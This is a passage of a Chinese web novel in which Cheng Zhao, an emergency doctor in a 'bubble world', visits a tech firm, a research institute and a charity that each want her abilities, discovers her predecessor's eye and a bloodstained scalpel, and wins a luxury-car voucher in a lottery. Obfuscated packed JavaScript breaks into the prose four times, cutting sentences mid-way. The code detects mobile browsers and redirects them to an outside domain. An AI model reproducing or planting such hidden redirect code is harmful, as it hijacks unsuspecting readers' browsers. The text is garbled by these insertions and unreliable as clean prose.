他轻笑了一下,然后继续说道:“这是不可能的,普通的工具箱无法带入重叠域。唯一的解释是——程医生,你有无如伦比的操控能量的能力,以至于改变了急救箱的性质,重叠域的提前崩析恐怕也是这个原因。” “不可能吧?”程昭惊道,“我只是一个很普通的人,你这么说,是不是太玄了?” 蔺子聪看着她的眼睛:“您有没有听过一句话,科学的尽头是玄学。同样吃一碗饭,为什么有的人胖了,有的人瘦了,您是医生,应该比我清楚,代谢本身不就是能量的利用吗?每个人对能量的利用效率不同,这本身就是客观事实。 但我们确实想研究清楚这件事,如果能从您身上获得一些启示,从而改进机器的能量利用率,或许就可以用机器人代替真人进入重叠域去解救那些无辜的患者。如果我们能做得更好,或许能彻底消灭重叠域,这不是一件功德无量的大好事吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程昭见她一副春心萌动的样子:“富二代?” 秘书掰着手指:“一、二、三……算富N代吧,栗氏家族的独子。程小姐,你可能不清楚,我们先泡科技最大的老板不是CEO哦,背后有好几大财团呢,其中栗氏集团拥有的股份最多,不过他们不怎么干涉公司经营,栗少也很少来公司的。虽然不管事,只出钱,但每年光是分红,就有这个数。” 秘书用上两只手,给她比划了一下。 程昭:“万?” 秘书摇摇头:“亿。” 程昭:“……打倒资本主义刻不容缓啊!” “啊,车到了,程小姐,这边走。” “好。” 即使用墨镜挡住了大半张脸,栗汜不耐烦的表情也掩盖不住。 “我说了,数据已经上传给科学院,你们要就自己去申请。” “栗少,先泡科技毕竟也是栗氏注资,怎么说都算一家人……” 栗汜拉下墨镜,露出一双冰蓝的眸子,眼睛危险地眯起:“谁跟你一家人?” 对方自知失言,连连道歉:“哎呦,对不起,对不起,我说话不过脑子……” “我上次叫你们做的东西呢?我拿了就走。” “好的好的,已经吩咐人去取了,其实这种东西,都不劳烦栗少亲自来一趟的,我们可以直接送过去……” 栗汜双手抱胸,移开了视线,懒得再说话。 一阵轻微的震动从西裤口袋里传来。 他有些疑惑地伸手进去,摸到了冰凉的金属手柄。 这羊角锤怎么还会震动的,是正经锤子吗? 19. 赏金医生 泡泡科学院没有先泡科技那么高的楼,更像是一间高等学府。 “虞教授在实验室,我们直接过去找他吧。”陈柯走在前面给程昭带路。 这里没有先泡科技那种大张旗鼓的阵仗,但让程昭舒服多了。 “你们做的是什么课题?” “脑神经方向的。” 程昭有了点兴趣:“我研究生就是神经外科方向的。” “是吗?”陈柯声音有些惊喜,“您要是能加入就太好了。” “你们不是研究重叠域能量转化的吗?” 她还以为泡泡科学院和先泡科技研究的是同一个方向呢。 “不是,等会儿虞教授会跟你说的。” 虞铭的实验室有点像是病房,程昭从一扇扇单向玻璃前走过,看向里面穿着纯白睡衣,头上连接着数据线的人。 “他们是谁?” “志愿者,采集脑电波数据的。” “我如果加入,也要被采集吗?” 陈柯先是点点头,然后又摇摇头:“要采集数据,但跟他们不一样。虞教授,程医生到了。” 穿着白大褂,坐在一整排屏幕前的人转过来,是一个精神抖擞的小老头,虽然脸上皱纹不少,但那双眼睛比大多数年轻人都要更明亮。 “你好啊!”小老头跟她握手,声音中气十足,眼神上下打量着她,“总算见到了,居然是这么年轻一个小姑娘!我跟你们院长说了,一定要把人给我带这儿来!” “额,院长没跟我说啊……” 这小老头说话的调调活像那种张口就是“我认识你们院长”的病人,程昭希望他不是那种难搞的人。 “不重要!来,你过来看!”虞铭拉着她到屏幕前,“你看看,看出什么没有?” 程昭看着屏幕上的曲线,努力分辨:“嗯,阵发性高波幅……是癫痫病人吗?” “是也不是,我们目前的采集方式似乎会造成受试者的大脑皮层异常放电,1/5过去没有病史的受试者在入组后出现了癫痫的症状。” 程昭皱眉:“这个比例高了。” 虞铭:“是的,我们得想办法把比例降下来。” 程昭:“你们这个课题到底是要做什么?” 虞铭:“课题的保密级别高,我不能直接告诉你,但我可以告诉你的是,我们的主要任务就是采集脑电波。” 程昭:“要采集多少?” 虞铭:“一亿?” “你再说一遍?”程昭以为自己听错了。 虞铭重复了一遍:“一亿,所以异常放电这个情况必须优化。” 程昭惊呆了:“你要给一亿人采集脑电波,这怎么可能做到?!” 虞铭:“我们的短期目标是发明一种便携采集仪器,能够在普通医院的门诊完成,这样才有可能完成目标数。我们采集的精度很高,目前最小的机器都有三个机房那么大。这栋楼一半的空间都用来放置机器了。” “那为什么需要我?” “你能控制的能量远超普通人,这意味着你的负荷也比普通人强得多,我在你身上试验好了,不出现异常放电的话,那给普通人做就很安全了。” 程昭后退一步:“什么意思,你要电我?” 虞铭:“不是电你啊,是电你脑子。” 程昭一副见了鬼的表情,什么雷暴电磁法王啊,这不是要她命吗? 虞铭丝毫不觉得自己的话有什么问题:“放心吧,重叠域都能被你干崩析了,这点赫兹的电流你肯定没问题的……” “有问题啊!” 程昭最后是双手紧紧护着脑袋逃出科学院的。 她觉得自己的处境似乎有些危险了,每个人都想拿她当小白鼠使。 这还是不知道她穿越秘密的情况下呢,要是知道原主还能促成泡世界交换,她不会被拉去活体解剖吧! 站在白色的尖顶建筑前面,程昭心里纠结万分。 前方就是圣心会的地盘了,她不知道自己该不该进去。 本来没必要过来的,圣心会是唯一一个没有承诺给她具体好处的,但另外两个慷慨大方的,想从程昭身上得到的东西令她害怕。 如果这个协会真像楚漪说的那样,致力于爱与和平,那应该,不会伤害她吧? 程昭自嘲地笑了笑,与其忐忑怀疑,倒不如直面利害。先泡科技和泡泡科学院她都见识过了,也不差这个圣心会了。 如果真对她有所图谋,就算她不上门,也难逃一劫的。 定了定心神,程昭来到门口保卫室,出示名片:“楚漪你认识吗?她让我来的。” 圣心会虽然只有一栋类似教堂一样的建筑,但安保方面比先泡科技和科学院都要严格得多。只是进入所在的这条街,就有人检查她的暂住证,确定没问题后才放她到大门口。 主体建筑外有一个很大的广场,广场里竟有腰间配枪的安保人员在巡逻。 门卫打了个电话,然后给了她一张访客证,搞得比科学院还正式。 没一会儿,楚漪婀娜的身姿就出现在了程昭视野里。 “很高兴再次见到你,程医生。” “我们现在去哪里?” “去见我们副会长,她非常想认识你。” “哦。” “科学院那帮疯子挺吓人的吧?” “嗯?” 难道楚漪知道科学院在研究的项目是什么? “我们不会做任何不利于您的事情,请放心。” 程昭没接话,生活中处处是诈骗,她已经谁都不会信了。 跟着楚漪拾级而上,来到白色建筑的最高层,说是最高,其实也就是三楼。 不过这里每一层都很高,非常开阔的样子。 “我们这里没有电梯,辛苦您了。” “没事,不算累,不过这里是什么古建筑吗,所以没造电梯?” “不是哦,这是环保上的考量呢。不仅如此,这整栋建筑都用的是环保材料,我们日常办公也不使用任何一次性材料呢。” “……好环保。” “这只是我们圣心会的理念之一。到了,您直接进去吧。” 楚漪为她拉开白色的大门,程昭走了进去。 这是一间很大的办公室,装饰简单,只在墙面上有几幅画作,画都很抽象,程昭欣赏不来。 会客区域不是常见的真皮或红木的沙发,而是藤编的椅子和蒲团,就连茶几都是藤编的。办公桌倒是普通的木桌子,桌后一个女人站了起来。 “程昭,你好。”她快步走过来,向程昭伸出手。 程昭看着她的脸有些入迷,在她的小声提醒下才握上手。 “哦哦,不好意思。”她本以为能做上副会长这个位置,怎么样也是个中年人,但面前的人非常年轻,看起来只有二十多岁,而且非常漂亮。 比楚漪更漂亮,而且与楚漪那种艳丽不同,她身上有股如月光般恬淡沉静的古典美,带着一股亲和感,仿佛上至九十九,下至九月九,都能被她无差别地善待。 连带着对圣心会这个组织,程昭都生出了几分信任感。 她嘴角微微上扬,笑起来像是纯洁的百合花。 她说:“巧了,我也姓程。” “我叫程芯。” 听到这个名字,程昭瞬间清醒了过来,脑中警铃大作。 叫程心的能是什么好人啊!这是《三体》里毁天灭地的顶级大圣母啊! 程芯点了下桌面上的名字台签,程昭略舒了口气,还好,不是完全一样的名字。 但也足以让她放下的戒心重新提起来。 或许她真的是个善良的圣母,但不代表她做的事都有好结果啊。 “你想见我?” “是的。”程芯指了指藤椅,“坐下聊吧,想喝点什么,茶还是咖啡?” 程昭:“白开水吧。” 不是要环保吗,她也可以很环保的。 “好的。”程芯用白瓷杯倒了一杯热水放在她面前。 “程昭,我想跟你谈谈合作。”程芯眼波如水。 好在程昭已经免疫了,警惕道:“不会是什么人体试验吧?先声明,我真的就一普通人,一切异常现象均属巧合,于我本人体质无关。” 程芯被她这则宇宙安全声明逗乐了。 “我们圣心会可不做什么科研。你愿意空闲时间来做圣心会的赏金医生吗?” “赏金医生?!”程昭一口水差点喷出来。 赏金和医生这个词语组合在一起,怎么那么不对味呢? “重叠域的情况你见识过了吧?” 程昭点头。 “本泡世界的公民会有120急救医生保驾护航,但正如你救的女孩子一样,许多重叠域中,他泡世界的公民也在水深火热之中……” 程昭越听越觉得不对劲。 “我们圣心会接收社会各界善心人士的捐款,大家都有一颗天下大同的心,我们认为生命权并不仅限于本泡世界,他泡世界的公民也值得被拯救 赏金医生就是通过我们的渠道,进入重叠域,去救陷入危险的他泡世界公民,任务完成后我们会给你发放报酬的。” 程昭听得目瞪口呆,半晌才讪讪道:“你们…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805380|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们是真圣母啊!” 她是打死也想不到,本泡世界都自顾不暇了,居然还有人捐钱去救他泡世界的人。 “不是,这样你们能得到什么好处啊?!” 程芯:“你觉得墙上这些画好看吗?” “额,挺有特色的。”这种抽象艺术她欣赏不来。 “这些圣心会下属的孤儿院的孩子们画的,我们收留被遗弃的孩子,健全或者轻度残疾的孩子很容易就被领养出去了,剩下一些身体残缺或是脑瘫的孩子,没有人愿意领养,我们照料他们,召集志愿者,每天陪孩子们玩,教他们简单的生活技能……他们或许一辈子都无法工作,不能做一个对社会有用的人,你说,这能得到什么好处吗?” 程昭沉默。 “圣心会的理念就是这样,我们崇尚高道德社会,即使这不能带来实际的收益。幸运的是,认同这个理念的人并不少,其中还有很多成功人士,所以作为一个公益组织,我们的队伍在不断发展壮大。你,愿意来吗?” 程昭老实道:“我没你们那么伟大。” 程芯握上了她的手,掌心温暖柔软:“不需要你那么伟大的,把赏金医生当做兼职就可以了,如果你不想做,圣心会也尊重你的意愿。但只要你想,哪怕因为经济困难而来,圣心会的大门也永远为你敞开。” 回到家时,程昭的脑袋还晕晕乎乎的,程芯身上那股淡雅的茉莉香似乎还萦绕在鼻尖。 圣心会能得到那么多捐款,跟程芯的个人魅力绝对有九成的关系。 明明打定主意,不会相信一个叫程芯的女人,还是半推半就地加了她的联系方式。 程昭洗完澡,呈大字型仰躺在床上。 很难相信,这么多事竟然都发生在一天之内。 她累得眼睛都睁不开,明明想要复盘一下今天获得的线索,但脑袋昏沉。 重叠域、工具箱、眼睛…… 对了,那只眼睛。程昭突然睁开眼,手往床头柜摸去,她把那只封在玻璃球里的眼睛放在了那里。 程昭把玻璃球拿高,跟自己的眼睛对齐。 瞳仁相对,有种正在跟另一个人对视的感觉。 意识到这点后,她又把玻璃球放低了,对视的感觉令人莫名心悸。 这颗眼球看起来平平无奇,巩膜的色泽纯白无杂,应该是来自一个年轻人的,虹膜的颜色是东亚人大众的深棕色,跟程昭差不多。 “虹膜”——今天好像听谁提过这两个字。 程昭闭上眼睛,努力回忆,直觉告诉她,这很重要。 “虹膜识别的。” 她睁开了眼睛,目光闪烁不定,抬起手腕的动作都有些颤抖。 打开救死扶伤界面,程昭调整了玻璃球的角度,把眼珠的虹膜对准了手环。 系统很快就识别成功,分散成了熟悉的三个小圈。 程昭去点红色的个人信息,不知道是晚上没吃饭饿的还是什么,手抖得厉害,点了好几次,都没点中。 最后是左手按着右手腕,食指才勉强选中了那个红色的小圈。 个人界面显示出数行字符: 【姓名】程昭 【工号】1199 【业务量】102 【积分】2110384 程昭数了数,七位数,不是几十万,是几百万积分呢。 程昭觉得自己脑子快要炸了。 她本以为原主就是欠了钱还不上,搞了个歪门邪道,把她弄来代为还债,而原主跑到她的世界去逍遥快活。 可是她的眼睛为什么会在重叠域里? 这是谁挖的?原主现在还活着吗? 她很难说服自己,“程昭”只是失去了一只眼睛,人还好好的。 她点开其他界面,迫切地想找到别的线索。 工作界面里没有任务,急救箱倒是绑定了。 程昭把急救箱从手环中取了出来。 这是个普通的急救箱,银白色的外观,磨砂手感,质感很好。 程昭把手放在侧边卡扣上时,发现自己的拇指沾上了一点红色。 急救箱上盖弹开。 “程昭”的急救箱比蒋裕的更空,只有一把手术刀孤零零地躺在箱子中央。 这把手术刀的刀片和刀柄是一体的,不是普通手术室里那种需要自己装刀片的类型。 刚才手沾上红色时,程昭极力告诉自己,那只是红色颜料。但看到刀刃锋利边缘上的红色时,她再也无法催眠自己说那不是血迹。 那就是已经干涸的血迹,和箱体卡扣上的一模一样。 程昭头痛欲裂。 20. 好运来 大清早,程昭在财务科办公室,跟副科长杨芸大眼瞪小眼。 杨芸:“你要不要听听你在说什么?” 杨芸:“欠着医院三百万的情况下,你还要预支工资?” “咕噜~”程昭的肚子叫了一声,她摸摸扁平的腹部,长叹一口气,“没钱,没饭吃啊。” 昨晚发现原主的眼睛后,她思考了半宿,也想不出个所以然来,只好把眼球放在衣柜深处藏好。 然后她就被浓重的疲惫侵袭,难得在没吃安眠药的情况下昏睡过去了。 直到凌晨5点胃酸腐蚀的空痛感从上腹部传来,她才后知后觉地意识到,那么多家机构公司,看着高大上,居然没有一家留她吃饭! 一家都没有啊! 太过分了! 想点个外卖,一看银行卡余额她就死心了。 工作手环倒是跳出提示,上个域里的积分已经到账了。 【任务结算】 【任务编号】20250623001 【任务级别】三级 【救治人数】1 【基础积分】5000 【救治积分】1000 【积分系数】3.0 【任务总积分】18000 她上120内网查了一下积分规则,这个网站还是昨晚睡前蒋裕发给她的,告诉她有什么不清楚的都可以去看看,多半会有解答。 网站的名字跟医院风格如出一辙——“你不救我不救病人何时能得救网”——简称“我救网”。 “我救网”专门有一个板块叫“工作站答疑”,置顶的帖子里就有积分计算规则。 重叠域不良事件分为四级,四级最轻,一级最重。 基础积分是按不良事件等级来计算的,四级五百分,三级五千分,二级五十万分,一级一千万分,不过一级事件还从没出现过,所以也没人拿到过这一千万分。 救治积分更简单,一个患者一千分,在哪个级别的域里都一样。 比较特别是积分系数,根据域中的表现,每个人会有不同的系数,最差的是0.5,最高是多少没有明确的说法,不过一般认为1.5以上都算表现优秀了。 程昭自认在域里也没什么英勇表现,任务成功率还只有50%,她怀疑是因为重叠域提前崩析的关系,所以系数能有3.0。 积分跟绩效的比例是10:1,也就是说程昭这一趟1万8的积分,能有1800块,确实算得上是一份高薪工作了。 程昭喝了半壶热水来冲淡胃液,减少一些胃壁黏膜上皮细胞的损伤,然后就在床上躺尸到早上7点半,在8点整出现在了财务科。 然后就在财务科被告知,原主签的借条,是医院有权直接划走所有的基础工资加奖金,一分一毫都不用留给程昭,直到债务还清。 程昭看着那张借条,只觉大脑都要萎缩了,这要人怎么活? 她恨不得当场变成一条草履虫,有口无肛,只进不出,吃一顿管三天。 这张借条是上个月刚签的,直到这个月才开始还钱,合着原主自己一分都没还,全部甩她身上了啊! 要搁昨晚以前,她是恨不得把原主揪出来打一顿的,不过她现在拿着原主的眼睛,对方生死未卜,她一腔愤懑也无从发泄。 “你现在有暂住证了,可以考虑去做兼职的。” “哈?” 这是人话吗?她可是一个120急救医生啊,这还要去兼职,是医院有什么过劳猝死的KPI要完成吗? 难道真要逼她去圣心会做赏金医生? “现在都鼓励体制内开辟第二职业,扩宽收入途径,实现人生多点开花,年轻人,就该多多尝试啊。”杨芸指了指桌上的一份报纸。 首页的报道赫然是某院120医生,上班救护车,下班开嘟嘟,全年无休,一人养活家里三个孩子的积极榜样。 “你看看人家,开个嘟嘟也是蛮好的嘛,跟客人唠唠,也可以顺便宣传一下医院。对了,摆路边摊这种活不要做,有碍医院形象,被发现要通报批评的。” 程昭:“不是,请问我开嘟嘟的车从哪里来?” 杨芸啧了一声:“程医生,要是连车都没有,更要努力工作了呀。” “我努力工作赚的钱不是也还给医院了吗?” “谁让你借钱了呢?” “这又不是我借的!”程昭发誓,就算原主死了,她也要拉出来鞭尸一顿。“我不管,没钱可以,你总要让我吃上饭吧,不然我没法继续工作了。” 程昭往办公室里的真皮沙发上一瘫,一副不给个说法就要赖在这里不走的流氓架势。 一七医院正缺120医生,她就不信他们真能不管她。 她的判断没错,一拿工作威胁,杨芸的脸色就变了变,“那我打个电话请示下科长和分管院长。” 程昭点头,一般到了请示领导的份上,这事肯定能给个说法了,多半是饭有着落了。 长达半小时的电话打下来,杨芸放下座机听筒,长舒一口气,转向程昭:“程医生,领导也体谅你的难处,所以破格给你发放福利,为期3个月的保底福利,3个月后看业务量情况再调整,你看可以吗?” “可以呀。”程昭高兴地站起来,“什么福利啊?” “已经让小田去领了,你稍等一下。” 十分钟后,程昭捧着一沓大红色的福利彩票,一脸绷不住的表情:“这是保底福利?” 杨芸:“你就说是不是福利彩票吧。” 程昭:“不会这么多张刮下去,啥东西都没有吧?那我不还得饿肚子啊!” 杨芸:“不会的,说了是‘保底’福利,最差也能抽中点米面粮油的,赶紧去吧,领点米回家煮上,还能赶上早午餐呢。” 程昭:“行吧。” 她向财务科要了个袋子,把彩票放在里面,鬼鬼祟祟地抱在怀里往医院门口走。 在外不露财,虽然她目前这个情况还跟“财”搭不上边,不过就怕惹人红眼。 路上倒是见着个熟面孔,是正好120下班的洛清。 程昭叫住了她:“清清啊!” 洛清转头,一见是她立马皱眉:“你怎么这么恶心。” 程昭立马撇清:“我不是女同!” 洛清:“你最好说的是真的。” 虽然洛清态度不好,但程昭对着这张脸实在是太熟悉了,又下意识地贴上去:“你下班有事不?陪我去刮彩票呗。” 洛清瞥了一眼她怀里的黑色塑料袋:“福利彩票?” “嗯呐。” “没啥好东西,不是米面粮油就是洗发水沐浴露。” “米面粮油就是好东西啊!我不知道在哪里兑奖,你能陪我去吗?”见洛清愿意跟她多说几句,程昭立刻得寸进尺,而且,虽然面前的洛清跟程昭关系不好,但就她对洛清的了解来说,其实她本身是个挺热心善良的好人。 洛清盯着她那双满含期待的亮晶晶眼睛,沉默了好几秒,终于是点了头。 “哇,好大!”看着大楼上巨大的“好运来福彩公司”这几个字,程昭由衷地发出感叹,她以为会是那种街边的福彩店,没想到会这么大这么气派,简直像个酒店,门前还矗立着一尊金灿灿的抱元宝财神像,光是看看就令人心驰神往。 “赶紧的。”洛清不耐烦地先走了进去。 大楼总共有十多层,一楼大厅里有穿着洁白制服的帅气门童为她们开门,里面的布置处处透着奢华,锥型的水晶灯从三楼挑空处垂下来,墙面上都覆着金色的浮雕,大厅中央是多个大理石像组成的喷泉。 楼如外表,像是高级酒店,而不是一个福彩店。 “我怎么看,这里不像是会发米面粮油的地方啊……”程昭看得口水都要流出来了,这种地方不得给她发点金银珠宝啊。 洛清皮笑肉不笑地扯了一下嘴角:“也就是唬唬你这种人,要不是这样把做白日梦的人骗进来买,资本家的钱从哪里来?好运来甚至是一家上市公司。” “私人的?” “是啊,只是跟我们医院有合作而已。别看了,一楼就是纯给人眼馋的,我们上四楼去。” 电梯是大楼内部的观光电梯,透过玻璃可以看到每一层的金碧辉煌。 四楼也很开阔,分为售卖区、刮奖区、兑奖区,每个区又有好几个小的分区,这层楼的人不少,大多衣着光鲜亮丽,表情各异,有人惊喜,有人失望,不过还算平均,没有范进中举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805381|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那种欣喜若狂的,也没有特别沮丧颓唐的。 “好运来这栋楼里,楼层越高,彩票越高级,可能开出的奖励就越好,四楼算是比较一般的,不可能靠这里的彩票暴富,大多是企业单位合作优惠价买的套票,发给职工当额外福利的,对于来兑奖的人来说不用花什么本金,也不用妄想一步登天。如果去别的楼层,就不是这副光景了。” 洛清好像忘了她跟程昭那些恩怨,把她当作一个纯粹的新同事,很自然地跟她解释起来。 程昭走到刮奖区,找了张桌子,拿起每桌都有的刮刀,开始刮起来。 洛清在她旁边坐下,托腮安静地看她刮。 “这一串数字什么意思啊,算中没中啊?” “不知道的,还要去兑奖区领对应的奖券。” “那我要是中了大奖,他们给我换了岂不是我也不知道。” 洛清鄙夷地看了她一眼:“就是一点生活福利而已,你还真当能开出什么好东西?不是一盒牙签你就偷着乐吧。” “嘶,四楼都这么拉胯,那二楼三楼得怎么样啊?” “单价低,中奖概率极小,就当买个玩儿那种程度吧。” 真刮起来,程昭发现这沓彩票也没多少,也就五十张的样子,在兑奖区换了十来张奖券,其余的直接就是没中,中奖概率估算下来也就三分之一。 奖券上也有一块封条区,直接用手撕开就行了。 程昭分给洛清一半,让她帮自己撕。 她喜欢干这个,程昭知道。 果然,这回洛清没说什么冷嘲热讽的话,默默地接过,很熟练地唰唰撕起来。 虽然表情还是没什么变化,不过程昭能看得出来,她眼睛里都有光了。 程昭自己没撕过这种,撕得不太好,歪歪扭扭地撕出了“五里地稻花香米”、“大银鱼有机油”、“妈妈味下饭小酱菜”……还真是米面粮油大集合,不过程昭已经很满足了,有主食就饿不死,再配上下饭菜,将是绝杀。 “唔。”洛清有了点动静,程昭凑上去看。 “不错啊,真丝四件套——二等奖,原来这玩意儿还有奖项等级啊?” 程昭挠挠头,回去看自己开出来的,“我的怎么都没写啊?” “安慰奖是不写的。” “哦。”程昭有点心酸,“那你手气好好啊,二等奖都能抽到,我果然运气挺烂的。” 洛清虽然没接话,嘴角却悄咪咪上扬了一点。 她还是这个样子,就爱听这种话。 虽然没抽中什么像样的东西,不过能证实这个洛清跟原来世界的有很多相同的小习惯,已经让程昭很高兴了。 洛清那边已经撕完了,除了二等奖四件套,还给她抽中了五等奖烤肉霸王餐。看到“烤肉”这两个字,程昭简直想抱着她狂亲一顿,不过她克制住了。 “你怎么还剩一张?”洛清探过头来。 “我撕得慢。”程昭有点不好意思。 “那我来。”她伸出手来。 “算了,最后一张了,我自己撕吧。” 程昭撕得很小心,这是最后一张,她想撕得好看一点。 第一个露出的字是“红”。 难道是什么“红花郎”?酒也挺好,可以转手卖了。 第二个露出的字是“博”。 程昭心中有了一点不好的预感。 后两个字是“基”和“尼”。 程昭:“我猜下一个字是5。” 洛清:“咦,你好厉害啊,怎么这都能猜到。” 程昭苦笑,怎么原本世界的套路,这个世界也在用啊。 “肯定是红博基尼5元优惠券,实不相瞒,这集我看过。” “5后面,好像是0啊。” 程昭擦了擦眼睛,定睛一看,还真是。 “怎么还有一个0?” “还是0?” “还没完?” 直到“元”字被刮出来,程昭从第一个0数起,1、2、3、4、5,总共有5个0。 洛清已经先她一步喊了出来:“红博基尼50万优惠券?特等奖啊!” 程昭捏着奖券,傻在原地。 不会真要下班开嘟嘟去了吧? 21. 红博基尼 程昭在兑奖区再三确认这张奖券无法转卖后,人瞬间就焉了。 还以为可以凭此直接还清六分之一的债务呢,没想到就这么个奖券还是实名制的,工作人员好心地帮她在本市的红博基尼4s店预约了看车,看看这张券有什么能兑换的东西。 程昭:“红博基尼有50万的车吗?” 洛清:“虽然我不懂车,但是感觉应该没有吧,或许可以看看二手车?” 两人左手右手各提着大包的生活用品,站在电梯里,跟玻璃后的金灿灿装饰形成一种反差的怪诞感觉,程昭转了180度,面对着电梯门,违和感减轻不少。 洛清:“出去以后我就回家了啊。” 程昭大惊失色:“这怎么行,你不会让我一个人去4S店吧?我从来没去过4S店啊!” 洛清:“关我什么事?” 程昭把袋子往地上一放,两手并用抱住了洛清的胳膊:“不行啊,我社恐,你陪陪我吧。” “我是真没看出来你跟社恐沾边。”洛清扯下她的手,“算了,来都来了,就今天这么一次,以后都别来烦我。” 一楼到了,电梯门打开,门外是两个年轻男人,其中一个人似乎状态很差,眼眶微凹,眶周黯黑,嘴唇干裂没有血色,站立的姿态绵软无力,全靠身边的人搀扶住他。 出于医生的职业病,程昭和洛清都盯着他看。 擦肩而过时,他一个踉跄跌倒在程昭身上,程昭立刻撑着他的胳膊,把他扶起来。 “你没事吧?” 那人眼神涣散,没有应答,他的同伴赶紧把他杠到自己肩上,连连跟程昭道歉。 “对不起对不起……” “没事,他这样,不用去医院吗?” “哦,他啊……他没事的……” 程昭还想说什么,洛清扯了下她的衣角,轻摇了摇头。 离开电梯时,她听到两人的对话。 “唉,早说了你不要抽那么多……” “我这次……呼,我一定能翻盘……你信我,我可以……” 直到走出好运来的大楼,洛清才跟她解释。 “这种人很多的,妄想着一夜翻身,永远把自己的失败怪罪在运气上。” “你怎么知道……” “看到他胳膊上的针孔没有,他应该是刚刚抽过血。” “这里难道允许卖……” “官方的当然不可以,不过地下自有渠道,反正离他们远一点为好,小心惹火上身。” 程昭跟洛清一起坐上地铁,居然直接刷工牌就能免费乘坐,又让程昭惊了一回。 “这里医生福利这么好?” “不是医生的福利,只是我们医院有。” “我们医院这么厉害?”程昭原来世界的医院也只是一个普普通通的三甲医院,甚至排不上全市前三。 “毕竟承担了巨大风险的,跟一般的医院不一样。” “那出120是不是死亡风险很高啊?” “还好吧,可能十个人里死一个?不过受伤和发疯是基本,能在120待6个月以上完全无伤的我还没见过,程昭差一点破这个记录,不过后来我们进矿——”洛清的声音戛然而止。 “什么矿?”程昭追问。 洛清不再说话,直接双手抱胸靠着椅背,两眼一闭睡觉了。 直到进红博基尼4S店,她都硬是一声不吭,任凭程昭怎么问都不搭话。 程昭刚进4S店就后悔了,她怎么就忘了先回趟家把东西放下呢? 此刻拎着大包小包米面洗发水的她和洛清,宛如两个刚从超市大减价里抢购完出来散步误入豪车店的群众,店员甚至都没有正眼看她们,似乎是在等她们自己意识到格格不入,然后默默退出店外,仿佛什么都没有发生过。 程昭看看洛清,洛清就跟脚下生了钉子一样,既不前进也不后退,扎根在了4S店进门两步的地方。 手里捏着奖券,程昭鼓起勇气,朝着最近的店员招手:“你好,我想问一下……” 店员脸上立刻露出职业假笑,掩盖了一晃而过的白眼:“您好,是想看我们哪款车呢?” “请问这个怎么用啊?”程昭出示奖券。 “这个啊——”店员接过奖券,声音拉长了调子,“这个是有使用限制的哦,不能用于购车,可以用于升级选配等等……” “呃,升级选配是什么意思……”虽然知道肯定要被对方在心里骂土包子,程昭还是硬着头皮问了出来。 “比如这辆新出的Urua,白色是这款车的一个基础色,如果想要更个性的颜色,就可以加钱升级我们的环保车漆……”店员打开平板,一辆车的3D影像在屏幕上展开,右边列着车漆、轮毂、车顶等等选项,店员随手点了几个,屏幕中间的车就缓缓旋转,360度展示着自己不菲的外观。“您也可以自己看看有没有喜欢的颜色呢。” 程昭接过平板,装作镇定地点开看了几个车型,然后绝望地发现,这里最便宜的车都要239万。 果然,套路还是一样的,红博基尼50万代金券跟5元代金券没有任何区别。 本来买不起的,也不会因为有张优惠券就能买了。 “那我这张代金券,能不能……看看谁有需要的话……”程昭委婉地暗示道。 店员笑容甜美,眼神却很冰冷:“代金券无法转让哦,自动绑定身份证,仅供您本人使用。” “哦,好吧。”程昭收起代金券,拉着洛清就要往门外走。 “程女士!”背后有一个声音传来,程昭没敢动,如果不是叫她的,那可太尴尬了。 “程女士,您是有急事要走吗?”程昭看了看周围,门口除了她和洛清,没有别人了,那应该就是在叫自己吧。 程昭回头,一个穿着职业西装,颈上围着蓝红条纹丝巾的女人向她走来。 刚才那个店员跟她身后,陪着笑脸:“经理……” 女人不悦道:“程女士过来我们店里,你怎么不叫我?” 店员脸色刷的一下白了:“我不知道……” 经理穿着高跟鞋,却走得很快很稳,没两步就来到了程昭面前,朝她俯下身体,“程女士,我在VIP包房里为您准备了一些茶点,不急的话,就在我们这里休息一会儿吧。” “急倒是不急……” 但她是真的买不起啊,去VIP包房也买不起啊!别到时候再被人赶出来,那可太糗了。 这样想着,程昭又不自觉地后退一步,刚好站到了自动门的感应区域。 大门自动滑开,仿佛在请她出去。 程昭挣扎着企图维持尊严:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805382|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要么我改天……” 